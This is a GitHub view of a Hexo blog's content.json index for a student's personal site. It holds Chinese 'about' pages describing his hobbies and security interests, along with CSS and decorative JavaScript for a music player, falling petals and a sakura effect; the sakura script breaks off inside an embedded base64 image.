-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 220 KB
/
content.json
File metadata and controls
1 lines (1 loc) · 220 KB
1
{"meta":{"title":"zer0ptr's blog","subtitle":"","description":"","author":"zer0ptr","url":"https://zer0ptr.github.io","root":"/"},"pages":[{"title":"archives","date":"2025-07-18T13:45:31.000Z","updated":"2025-07-18T13:45:31.711Z","comments":false,"path":"archives/index.html","permalink":"https://zer0ptr.github.io/archives/index.html","excerpt":"","text":""},{"title":"","date":"2025-05-31T07:30:56.521Z","updated":"2025-05-02T02:07:47.037Z","comments":false,"path":"css/music-player.css","permalink":"https://zer0ptr.github.io/css/music-player.css","excerpt":"","text":"/* 音乐播放器容器 */ .music-player { position: fixed; right: 20px; bottom: 20px; width: 300px; background: rgba(255, 255, 255, 0.95); border-radius: 12px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1); z-index: 999; transition: all 0.3s ease; overflow: hidden; font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", sans-serif; } /* 暗色模式适配 */ [data-user-color-scheme='dark'] .music-player { background: rgba(30, 30, 30, 0.95); box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3); } /* 播放器头部 */ .player-header { display: flex; justify-content: space-between; align-items: center; padding: 12px 16px; background: rgba(0, 0, 0, 0.05); cursor: pointer; } [data-user-color-scheme='dark'] .player-header { background: rgba(255, 255, 255, 0.05); } .player-title { font-weight: 600; font-size: 14px; display: flex; align-items: center; gap: 8px; } .player-title i { font-size: 16px; } .player-actions { display: flex; gap: 8px; } .player-btn { background: none; border: none; width: 24px; height: 24px; border-radius: 50%; display: flex; align-items: center; justify-content: center; cursor: pointer; color: inherit; transition: all 0.2s; } .player-btn:hover { background: rgba(0, 0, 0, 0.1); } [data-user-color-scheme='dark'] .player-btn:hover { background: rgba(255, 255, 255, 0.1); } /* 播放器内容 */ .player-content { padding: 16px; } .now-playing { display: flex; gap: 12px; margin-bottom: 16px; } .album-cover { width: 60px; height: 60px; border-radius: 8px; object-fit: cover; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); } .track-info { flex: 1; display: flex; flex-direction: column; justify-content: center; } .track-name { font-weight: 600; font-size: 15px; margin-bottom: 4px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .track-artist { font-size: 13px; color: #666; } [data-user-color-scheme='dark'] .track-artist { color: #aaa; } /* 进度条 */ .progress-container { margin: 12px 0; } .progress-bar { height: 4px; background: rgba(0, 0, 0, 0.1); border-radius: 2px; margin-bottom: 4px; cursor: pointer; } [data-user-color-scheme='dark'] .progress-bar { background: rgba(255, 255, 255, 0.1); } .progress { height: 100%; background: #3b82f6; border-radius: 2px; width: 0%; transition: width 0.1s; } .time-display { display: flex; justify-content: space-between; font-size: 11px; color: #888; } /* 控制按钮 */ .controls { display: flex; justify-content: space-between; align-items: center; margin-top: 12px; } .control-btn { background: none; border: none; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center; cursor: pointer; color: inherit; transition: all 0.2s; } .control-btn:hover { background: rgba(0, 0, 0, 0.1); } [data-user-color-scheme='dark'] .control-btn:hover { background: rgba(255, 255, 255, 0.1); } .play-pause-btn { width: 40px; height: 40px; background: #3b82f6; color: white; } .play-pause-btn:hover { background: #2563eb; } /* 播放列表 */ .playlist { max-height: 0; overflow: hidden; transition: max-height 0.3s ease; margin-top: 0; } .playlist.show { max-height: 300px; margin-top: 12px; } .playlist-item { display: flex; align-items: center; padding: 8px 12px; border-radius: 6px; cursor: pointer; transition: all 0.2s; gap: 10px; } .playlist-item:hover { background: rgba(0, 0, 0, 0.05); } [data-user-color-scheme='dark'] .playlist-item:hover { background: rgba(255, 255, 255, 0.05); } .playlist-item.active { background: rgba(59, 130, 246, 0.1); } .playlist-item-cover { width: 40px; height: 40px; border-radius: 4px; object-fit: cover; } .playlist-item-info { flex: 1; min-width: 0; } .playlist-item-name { font-size: 13px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .playlist-item-artist { font-size: 11px; color: #888; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } /* 响应式设计 */ @media (max-width: 768px) { .music-player { width: calc(100% - 40px); right: 20px; left: 20px; } }"},{"title":"","date":"2025-05-31T07:30:56.521Z","updated":"2025-05-16T10:55:05.401Z","comments":false,"path":"css/custom.css","permalink":"https://zer0ptr.github.io/css/custom.css","excerpt":"","text":"body { font-family: \"STKaiti\", \"KaiTi\", \"Microsoft YaHei\", sans-serif; } /* 全局背景设置(适用于所有页面) */ body { background: url(/images/backgroud.PNG) no-repeat center center fixed; background-size: cover; background-attachment: fixed; min-height: 100vh; } /* 确保内容区域透明 */ .main { background-color: rgba(255, 255, 255, 0.85); } /* 文章页特定修复 */ .post { background-color: transparent; } /* 修复暗色模式 */ [data-user-color-scheme='dark'] body { background: url(/images/backgroud.PNG) no-repeat center center fixed; background-size: cover; } /* About 页面样式 */ .about-container { max-width: 1200px; margin: 2rem auto; padding: 0 1rem; } .about-card { display: flex; background: var(--card-bg); border-radius: 12px; box-shadow: 0 4px 20px rgba(0,0,0,0.1); overflow: hidden; } .about-profile { width: 300px; padding: 2rem; text-align: center; background: rgba(0,0,0,0.02); } .about-avatar { width: 150px; height: 150px; border-radius: 50%; object-fit: cover; border: 4px solid #fff; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } .about-social { margin-top: 1.5rem; } .about-social a { display: inline-block; margin: 0 8px; font-size: 1.5rem; color: var(--text-color); transition: all 0.3s; } .about-social a:hover { transform: translateY(-3px); } .about-content { flex: 1; padding: 2rem; } /* 技能进度条样式 */ .skill-bar { margin-bottom: 1.5rem; } .skill-name { display: flex; justify-content: space-between; margin-bottom: 0.5rem; } .skill-progress { height: 8px; background: #eee; border-radius: 4px; overflow: hidden; } .skill-progress-inner { height: 100%; background: var(--primary-color); border-radius: 4px; } /* 强制所有页面使用背景图 */ html { background: url(/images/backgroud.PNG) no-repeat center center fixed !important; background-size: cover !important; min-height: 100vh; } /* 内容区域半透明效果 */ .container .main { background-color: rgba(255, 255, 255, 0.85); border-radius: 8px; padding: 20px; margin: 20px auto; max-width: 1200px; } /* 暗色模式适配 */ [data-user-color-scheme='dark'] .container .main { background-color: rgba(0, 0, 0, 0.7); } /* 修复文章页特定问题 */ .post .post-content { background-color: transparent !important; } /* 移除全局背景图 */ html, body { background-image: none !important; } /* 确保内容区域无背景 */ .main, .content, .post, .page { background: none !important; } /* 为导航栏文字添加阴影 */ .navbar a, .navbar .navbar-brand { text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.8), -1px -1px 3px rgba(0, 0, 0, 0.5); } /* 悬停效果 */ .navbar a:hover { text-shadow: 0 0 5px rgba(255, 255, 255, 0.8), 1px 1px 3px rgba(0, 0, 0, 0.9); } /* 文章内容使用楷体 */ .post-content { font-family: \"楷体\", \"STKaiti\", \"KaiTi\", serif !important; font-size: 18px; /* 同时增大正文字号 */ line-height: 1.8; /* 增加行距提升可读性 */ } /* 代码块保持等宽字体 */ .post-content code, .post-content pre { font-family: Consolas, Monaco, monospace !important; } /* 全局内容设置 */ .post-body { font-family: /* 英文字体层 (仅英文生效) */ \"Georgia\", \"Times New Roman\", \"Palatino\", serif, /* 中文字体层 (英文跳过此层) */ \"KaiTi\", \"STKaiti\", \"SimKai\", serif; } /* 代码块等特殊内容 */ code, pre { font-family: /* 英文等宽字体 */ \"Courier New\", \"Consolas\", monospace, /* 中文保留原字体 */ \"KaiTi\", \"STKaiti\", monospace !important; } /*樱花*/ /* 花瓣样式 */ .petal { position: fixed; pointer-events: none; z-index: 9999; background-image: url('data:image/svg+xml;utf8,'); background-size: contain; background-repeat: no-repeat; opacity: 0.7; } /*导航栏深色半透明*/ /* 为导航栏添加深色半透明背景 */ .navbar { background-color: rgba(0, 0, 0, 0.5) !important; backdrop-filter: blur(5px); } /* 调整导航链接颜色 */ .navbar .nav-link { color: #fff !important; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.5); } /* 鼠标悬停效果 */ .navbar .nav-link:hover { color: #f8f9fa !important; } @import url('https://cdn.jsdelivr.net/npm/lxgw-wenkai-webfont@1.1.0/style.css'); :root { --font-family: \"LXGW WenKai\", \"Iansui\", \"芫荽文楷\", sans-serif; --font-family-heading: \"LXGW WenKai\", \"Iansui\", \"芫荽文楷\", serif; --font-family-code: \"LXGW WenKai\", \"Iansui\", \"芫荽文楷\", monospace; } body { font-family: \"LXGW WenKai\", \"Iansui\", \"芫荽文楷\", sans-serif; } h1, h2, h3, h4, h5, h6 { font-family: \"LXGW WenKai\", \"Iansui\", \"芫荽文楷\", serif; } code, pre { font-family: \"LXGW WenKai\", \"Iansui\", \"芫荽文楷\", monospace; }"},{"title":"关于","date":"2026-03-07T09:02:04.140Z","updated":"2026-03-07T09:02:04.140Z","comments":false,"path":"about/index.html","permalink":"https://zer0ptr.github.io/about/index.html","excerpt":"","text":"垃圾分类: 四体不勤 五谷不分 东张西望 一无所长 大湾区某湖畔高中在读 可以叫我Hailin(甚至可以叫窝空指针),我今年16岁,来自广东揭阳,现居广东东莞 我可以使用粤语、客家话、塑料潮汕话、普通话、英语(bushi)、日语(骗你的其实还在学)跟你交流~ 是否是某种意义上的六语 和我交朋友你将认识一个身上带有80年代港风的清纯男高 喜欢飞机和地铁,会记住各个机场&地铁站的语言播报 請勿靠近車門,请不要靠近车门,Please stand back from the train doors. 嘟嘟嘟嘟嘟 ENTP 姑且这么认为自己是E人 想成为摄影糕手 目前使用的相机是一台06年港版Nikon D80 C | C++ | Go | Python,以及第 n+1 次入门 Rust 在SecNL负责端茶倒水,CTF-Wiki的维护者之一,校计协创死人兼会长 对IoT安全、系统安全和AI安全很感兴趣 Now learning pwn 前比赛靠Crypto&Musc得分のWeb手,在CNVD、补天、EDUSRC、TSRC等交过几个水洞(目前已退化) 计协不是基协 希望未来能入门玩玩业余无限垫 喜欢玩的游戏: 明日方舟:终末地 CSGO CS2 (是个定级赛没一把rating过1但是全赢上C+的人物 Forza Horizon 4 Minecraft(喜欢玩生存养老 少女前线2:追放(bushi 喜欢的动漫:《浪客剑心》《莉可丽丝》《紫罗兰永恒花园》《败犬女主太多了》… 轻小说爱好者 《通往夏天的隧道:再见到出口》 《在昨日的春天等待你》 《琥珀之秋,0秒之旅》 《永冬无境,幻梦残墟》 《胆小的我们今日仍在颤抖》 《我想吃掉你的胰脏》 … 偶尔充满探索世界的好奇心 其实是一只看到海就会很激动的小狗( 吾日三省吾身: 总有人要当five,为什么不能是我呢? 只要我没有用,就不会被利用。 一切随缘。 母胎单身近17年,好想谈恋爱呜呜呜"},{"title":"about","date":"2025-11-11T10:45:05.000Z","updated":"2025-11-15T14:27:22.198Z","comments":false,"path":"about/index1.html","permalink":"https://zer0ptr.github.io/about/index1.html","excerpt":"","text":"Wechat: cGlnY2FuZmx5Y24= Email: iszhenghailin [at] gmail [dot] com"},{"title":"","date":"2025-08-28T08:23:45.955Z","updated":"2025-08-28T08:23:45.955Z","comments":false,"path":"css/lxgw-wenkai-math-fix.css","permalink":"https://zer0ptr.github.io/css/lxgw-wenkai-math-fix.css","excerpt":"","text":"/* * 霞鹜文楷字体数学公式显示修复 * LXGW WenKai Font Math Formula Display Fix * * 解决霞鹜文楷字体在数学公式中显示过小的问题 * Fixes the issue where LXGW WenKai font appears too small in math formulas */ /* 通用数学公式容器修复 */ /* General math formula container fixes */ .math, .math-display, .math-inline, [class*=\"math\"], [class*=\"katex\"], [class*=\"MathJax\"] { font-size: 1.1em !important; line-height: 1.4 !important; } /* MathJax 修复 */ /* MathJax fixes */ .MathJax, .MathJax_Display, .MathJax_Preview, .MathJax_SVG, .MathJax_SVG_Display { font-size: 1.15em !important; line-height: 1.5 !important; } .MathJax_SVG svg { font-size: 1.1em !important; } /* MathJax v3 修复 */ /* MathJax v3 fixes */ mjx-container, mjx-container[display=\"true\"], mjx-container[display=\"block\"] { font-size: 1.15em !important; line-height: 1.5 !important; } mjx-math { font-size: inherit !important; } /* KaTeX 修复 */ /* KaTeX fixes */ .katex, .katex-display, .katex-html { font-size: 1.15em !important; line-height: 1.5 !important; } .katex .base { font-size: inherit !important; } /* 行内公式特殊处理 */ /* Inline math special handling */ .math-inline, .katex:not(.katex-display), mjx-container:not([display=\"true\"]):not([display=\"block\"]) { font-size: 1.05em !important; vertical-align: baseline !important; line-height: 1.3 !important; } /* 块级公式特殊处理 */ /* Block math special handling */ .math-display, .katex-display, mjx-container[display=\"true\"], mjx-container[display=\"block\"] { font-size: 1.2em !important; margin: 1em 0 !important; text-align: center !important; } /* 确保数学符号清晰度 */ /* Ensure math symbols clarity */ .math *, .katex *, .MathJax *, mjx-container * { -webkit-font-smoothing: antialiased !important; -moz-osx-font-smoothing: grayscale !important; } /* 响应式设计 */ /* Responsive design */ @media screen and (max-width: 768px) { .math, .katex, .MathJax, mjx-container { font-size: 1.05em !important; } .math-display, .katex-display, mjx-container[display=\"true\"] { font-size: 1.1em !important; } } /* 高分辨率屏幕优化 */ /* High resolution screen optimization */ @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { .math, .katex, .MathJax, mjx-container { font-size: 1.12em !important; } }"},{"title":"categories","date":"2025-07-18T13:45:19.000Z","updated":"2025-09-24T09:45:09.539Z","comments":false,"path":"categories/index.html","permalink":"https://zer0ptr.github.io/categories/index.html","excerpt":"","text":""},{"title":"","date":"2025-11-22T04:55:53.596Z","updated":"2025-11-22T04:55:53.596Z","comments":false,"path":"about/index3.html","permalink":"https://zer0ptr.github.io/about/index3.html","excerpt":"","text":"WhoAmI Rookie Pwner at @SecureNexusLab Interest in IoT Security, Software Security and Security4LLM. You can contact me at iszhenghailin@gmail.com"},{"title":"","date":"2025-05-31T07:30:56.517Z","updated":"2025-05-01T04:43:46.475Z","comments":false,"path":"404/index.html","permalink":"https://zer0ptr.github.io/404/index.html","excerpt":"","text":"intro: “喵呜~ 金枪鱼被猫吃掉了!”"},{"title":"WhoAmI?","date":"2025-09-30T07:13:54.000Z","updated":"2025-11-08T09:21:51.120Z","comments":false,"path":"about/about-me.html","permalink":"https://zer0ptr.github.io/about/about-me.html","excerpt":"WhoAmI 你好!我是zer0ptr,一名广东省某高中的在读高二学生,目前在SecureNexusLab跟着各位大师傅学习,同时也参与组建了一个青少年技术学习与分享小组AstraCoreLz。 我对信息安全很感兴趣,目前正在从事Security4LLM和二进制安全方面研究,同时在不断","text":"WhoAmI 你好!我是zer0ptr,一名广东省某高中的在读高二学生,目前在SecureNexusLab跟着各位大师傅学习,同时也参与组建了一个青少年技术学习与分享小组AstraCoreLz。 我对信息安全很感兴趣,目前正在从事Security4LLM和二进制安全方面研究,同时在不断 丰富我的履历并尝试进入中科院软件所实习。 在我的日常生活中我会学习算法(已经是第n次重新学了),同时我也很喜欢下象棋但是很菜,欢迎和我交流棋艺! 我也喜欢尝试上手做一点小工具,类似于批量将Word转PDF或者是Markdown公式语法速查表等,在未来我将不断地去开发更多有用的东西,为圈子创造更大的贡献~ 一些我的联系方式 E-Mail:zer0ptr@gmail.com & iszhenghailin@gmail.com 一些日常记录,不断更新~"},{"title":"","date":"2025-05-31T07:30:56.524Z","updated":"2025-05-09T23:53:42.479Z","comments":false,"path":"js/love.js","permalink":"https://zer0ptr.github.io/js/love.js","excerpt":"","text":"(function (window, document, undefined) { var hearts = []; window.requestAnimationFrame = (function () { return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function (callback) { setTimeout(callback, 1000 / 60); } })(); init(); function init() { css( \".heart{width: 10px;height: 10px;position: fixed;background: #f00;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);}.heart:after,.heart:before{content: '';width: inherit;height: inherit;background: inherit;border-radius: 50%;-webkit-border-radius: 50%;-moz-border-radius: 50%;position: absolute;}.heart:after{top: -5px;}.heart:before{left: -5px;}\" ); attachEvent(); gameloop(); } function gameloop() { for (var i = 0; i < hearts.length; i++) { if (hearts[i].alpha"},{"title":"","date":"2025-05-31T07:30:56.523Z","updated":"2025-05-09T23:51:01.896Z","comments":false,"path":"js/petals.js","permalink":"https://zer0ptr.github.io/js/petals.js","excerpt":"","text":"document.addEventListener('DOMContentLoaded', function() { // 创建花瓣元素 function createPetal() { const petal = document.createElement('div'); petal.className = 'petal'; // 随机大小 (10px-30px) const size = Math.random() * 20 + 10; petal.style.width = size + 'px'; petal.style.height = size + 'px'; // 随机起始位置 petal.style.left = Math.random() * window.innerWidth + 'px'; petal.style.top = -30 + 'px'; // 随机透明度 petal.style.opacity = Math.random() * 0.5 + 0.3; document.body.appendChild(petal); // 动画参数 let posY = -30; let posX = parseFloat(petal.style.left); const sway = Math.random() * 3 + 1; // 摇摆幅度 const speed = Math.random() * 2 + 1; // 下落速度 let angle = Math.random() * Math.PI * 2; // 初始角度 const rotationSpeed = Math.random() * 0.02 + 0.01; // 旋转速度 // 动画函数 function animate() { posY += speed; angle += rotationSpeed; posX += Math.sin(angle) * sway; petal.style.top = posY + 'px'; petal.style.left = posX + 'px'; petal.style.transform = `rotate(${angle * 30}deg)`; if (posY < window.innerHeight) { requestAnimationFrame(animate); } else { petal.remove(); createPetal(); } } animate(); } // 创建多个花瓣 for (let i = 0; i < 15; i++) { setTimeout(createPetal, i * 500); } // 窗口大小变化时重新计算 window.addEventListener('resize', function() { document.querySelectorAll('.petal').forEach(p => p.remove()); for (let i = 0; i < 15; i++) { setTimeout(createPetal, i * 500); } }); });"},{"title":"","date":"2025-05-31T07:30:56.524Z","updated":"2025-05-03T00:38:56.500Z","comments":false,"path":"js/music-player.js","permalink":"https://zer0ptr.github.io/js/music-player.js","excerpt":"","text":"document.addEventListener('DOMContentLoaded', function() { // 从主题配置或默认数据获取播放列表 const playlist = window.theme?.music_player?.playlist || window.MUSIC_PLAYLIST || [ { name: \"Love 2000\", artist: \"Anna Yanami\", url: \"/music/love2000.mp3\", cover: \"/music/love2000.jpg\" }, { name: \"青春なんていらないわ\", artist: \"三月のパンタシア \", url: \"/music/青春なんていらないわ.mp3\", cover: \"/music/青春なんていらないわ.jpg\" }, { name: \"ハルジオン\", artist: \"YOASOBI\", url: \"/music/YOASOBI - ハルジオン.mp3\", cover: \"/music/ハルジオン.jpg\" }, { name: \"インドア系ならトラックメイカ\", artist: \"Yunomi\", url: \"/music/Yunomi - インドア系ならトラックメイカー (内向都是作曲家).mp3\", cover: \"/music/Yunomi - インドア系ならトラックメイカー (内向都是作曲家).jpg\" }, { name: \"富士山下\", artist: \"陈奕迅\", url: \"/music/富士山下.mp3\", cover: \"/music/富士山下.jpg\" } ]; // 创建播放器DOM const player = document.createElement('div'); player.className = 'music-player'; player.innerHTML = ` 正在播放 ${playlist[0].name} ${playlist[0].artist} 00:00 00:00 ${playlist.map((song, index) => ` ${song.name} ${song.artist} `).join('')} `; document.body.appendChild(player); // 播放器逻辑 const audio = new Audio(); let currentTrack = 0; let isPlaying = false; let isPlaylistVisible = false; // DOM元素 const elements = { player: player, albumCover: player.querySelector('.album-cover'), trackName: player.querySelector('.track-name'), trackArtist: player.querySelector('.track-artist'), progressBar: player.querySelector('.progress-bar'), progress: player.querySelector('.progress'), currentTime: player.querySelector('.current-time'), duration: player.querySelector('.duration'), playPauseBtn: player.querySelector('.play-pause-btn'), prevBtn: player.querySelector('.prev-btn'), nextBtn: player.querySelector('.next-btn'), playlistToggle: player.querySelector('.playlist-toggle'), playlist: player.querySelector('.playlist'), playlistItems: player.querySelectorAll('.playlist-item'), minimizeBtn: player.querySelector('.minimize-btn') }; // 加载歌曲 function loadTrack(index) { currentTrack = index; const track = playlist[index]; audio.src = track.url; elements.albumCover.src = track.cover; elements.trackName.textContent = track.name; elements.trackArtist.textContent = track.artist; // 更新播放列表高亮 elements.playlistItems.forEach(item => { item.classList.remove('active'); }); elements.playlistItems[index].classList.add('active'); // 重置进度 elements.progress.style.width = '0%'; elements.currentTime.textContent = '00:00'; // 获取时长 audio.addEventListener('loadedmetadata', function() { elements.duration.textContent = formatTime(audio.duration); }); if (isPlaying) { audio.play(); } } // 播放/暂停 function togglePlay() { if (isPlaying) { audio.pause(); elements.playPauseBtn.innerHTML = ''; } else { audio.play(); elements.playPauseBtn.innerHTML = ''; } isPlaying = !isPlaying; } // 上一首 function prevTrack() { currentTrack = (currentTrack - 1 + playlist.length) % playlist.length; loadTrack(currentTrack); if (isPlaying) { audio.play(); } } // 下一首 function nextTrack() { currentTrack = (currentTrack + 1) % playlist.length; loadTrack(currentTrack); if (isPlaying) { audio.play(); } } // 格式化时间 function formatTime(seconds) { const mins = Math.floor(seconds / 60); const secs = Math.floor(seconds % 60); return `${mins.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')}`; } // 事件监听 elements.playPauseBtn.addEventListener('click', togglePlay); elements.prevBtn.addEventListener('click', prevTrack); elements.nextBtn.addEventListener('click', nextTrack); // 进度条控制 elements.progressBar.addEventListener('click', function(e) { const percent = e.offsetX / this.offsetWidth; audio.currentTime = percent * audio.duration; elements.progress.style.width = `${percent * 100}%`; }); // 播放列表切换 elements.playlistToggle.addEventListener('click', function() { isPlaylistVisible = !isPlaylistVisible; elements.playlist.classList.toggle('show', isPlaylistVisible); this.innerHTML = isPlaylistVisible ? '' : ''; }); // 播放列表项点击 elements.playlistItems.forEach(item => { item.addEventListener('click', function() { const index = parseInt(this.dataset.index); loadTrack(index); if (!isPlaying) { togglePlay(); } }); }); // 最小化/恢复 let isMinimized = false; elements.minimizeBtn.addEventListener('click', function() { isMinimized = !isMinimized; if (isMinimized) { elements.player.style.transform = 'translateY(calc(100% - 40px))'; this.innerHTML = ''; } else { elements.player.style.transform = ''; this.innerHTML = ''; } }); // 音频事件 audio.addEventListener('timeupdate', function() { const percent = (audio.currentTime / audio.duration) * 100; elements.progress.style.width = `${percent}%`; elements.currentTime.textContent = formatTime(audio.currentTime); }); audio.addEventListener('ended', nextTrack); // 初始化加载第一首歌 loadTrack(0); });"},{"title":"tags","date":"2025-05-03T01:08:02.000Z","updated":"2025-07-21T02:01:16.636Z","comments":false,"path":"tags/index.html","permalink":"https://zer0ptr.github.io/tags/index.html","excerpt":"","text":""},{"title":"友人帐","date":"2025-05-09T15:04:29.000Z","updated":"2025-05-09T23:36:52.797Z","comments":false,"path":"links/index.html","permalink":"https://zer0ptr.github.io/links/index.html","excerpt":"","text":""},{"title":"读书","date":"2026-02-09T05:26:35.322Z","updated":"2026-02-09T05:26:35.322Z","comments":false,"path":"reading/index.html","permalink":"https://zer0ptr.github.io/reading/index.html","excerpt":"","text":""},{"title":"friends","date":"2026-01-02T10:31:50.000Z","updated":"2026-01-02T10:31:50.142Z","comments":false,"path":"friends/index.html","permalink":"https://zer0ptr.github.io/friends/index.html","excerpt":"","text":""},{"title":"","date":"2025-05-31T07:30:56.524Z","updated":"2025-05-09T23:53:10.238Z","comments":false,"path":"js/sakura.js","permalink":"https://zer0ptr.github.io/js/sakura.js","excerpt":"","text":"var stop, staticx; var img = new Image(); img.src = \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAUgAAAEwCAYAAADVZeifAAAACXBIWXMAAACYAAAAmAGiyIKYAAAHG2lUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxNDIgNzkuMTYwOTI0LCAyMDE3LzA3LzEzLTAxOjA2OjM5ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXBSaWdodHM9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9yaWdodHMvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtcFJpZ2h0czpNYXJrZWQ9IkZhbHNlIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6NDFDMjQxQjYyNjIwNjgxMTgwODNEMjE2MDAzOTU1NDQiIHhtcE1NOkRvY3VtZW50SUQ9ImFkb2JlOmRvY2lkOnBob3Rvc2hvcDozNDVjOWViOC04NDc4LTFkNDctOGRjMi0yZDkyOGNhYTYxZWQiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6YjAzN2ZiMGItNTU5Mi0xYjRkLWJjZGQtOWU4NGExMDJiMGM2IiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDQyAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDE4LTA1LTA5VDE0OjQ5OjM3KzA4OjAwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAxOC0wNS0wOVQxNDo1MToyNSswODowMCIgeG1wOk1ldGFkYXRhRGF0ZT0iMjAxOC0wNS0wOVQxNDo1MToyNSswODowMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHBob3Rvc2hvcDpDb2xvck1vZGU9IjMiIHBob3Rvc2hvcDpJQ0NQcm9maWxlPSJzUkdCIElFQzYxOTY2LTIuMSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjEyMjVlZWE3LTEyY2QtMTY0NC04ZDAzLWFjOTE2ZTAxZDQ1YyIgc3RSZWY6ZG9jdW1lbnRJRD0idXVpZDoxRDIwNUFGNjZCRDlFNTExOUM5REMwMzg2RjlEQjFGNyIvPiA8eG1wTU06SGlzdG9yeT4gPHJkZjpTZXE+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDphYmMzNjIzMy1hOWNkLWNiNDQtODViYi0zZTgyMjEwYmIxMjYiIHN0RXZ0OndoZW49IjIwMTgtMDUtMDlUMTQ6NTE6MjUrMDg6MDAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE4IChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6YjAzN2ZiMGItNTU5Mi0xYjRkLWJjZGQtOWU4NGExMDJiMGM2IiBzdEV2dDp3aGVuPSIyMDE4LTA1LTA5VDE0OjUxOjI1KzA4OjAwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxOCAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPC9yZGY6U2VxPiA8L3htcE1NOkhpc3Rvcnk+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+XCpBoAAApBxJREFUeNrs/cmSI8u2LIipLnMHosnc59Z7jyxhjSg1oggn/EWO+SP8B34JhRyWCItk1at7786MBnBbWoNlZm4OOLrIvc8+t45bCjIQjibQuKuvTlUpCdva1ra2ta3zZdtHsK1tbWtbG0Bua1vb2tYGkNva1ra2tQHktra1rW1tALmtbW1rWxtAbmtb29rWBpDb2ta2trUB5La2ta1tbQC5rW1ta1sbQG5rW9va1gaQ29rWtra1AeS2trWtbW1rA8htbWtb29oAclvb2ta2NoDc1ra2ta0NILe1rW1tawPIbW1rW9vaAHJb29rWtjaA3Na2trWtDSC3ta1tbWsDyG1ta1vb2gByW9va1rY2gNzWtra1rW1tALmtbW1rWxtAbmtb29rWBpDb2ta2trUB5La2ta1tbQC5rW1ta1sbQG5rW9va1gaQ29rWtra1AeS2trWtbW0Aua1tbWtbG0Bua1vb2tY/3xr+o7+Bf/2//z/+1OfPAIgJErGbMj7M8fue+O1A7LLjcxyw+5hwZMbgQnLgKIftRsgMyYUjBYNhOn6AADiMOGDCyIQBCflwwNEdw24HHA5AzhjHJxyQwZTADLgmHJPhDRnfjo6PlPHbNOJDGZgEZsIgOAHPR/yPwxv+28MONOBghIEAiXce8LkzuAG/vRP7o+EzAcMRyNlxoJByxj4T/8su4+UgPE3A++jg5yfe/lvD73/b4eVfM17/zfE//y3h6UjsJ8f/9N8m/Of/Cnz/d0cegHES/t///Q7HHfG/+/8JT0fABGQTzIEkYMyGf/0vBh8N3/99wv/rP/1/sDs6/i//+t8DZhCATOFwzPj4/R3/MhkOmPBz/47dB+CY8LZ/w/NnQh4cu88dppSRU4abQwbQCRPhdDx/PCGbI9f7JLXbRfHpYw+n4MOkPAAUSacBmfv30f/rf+f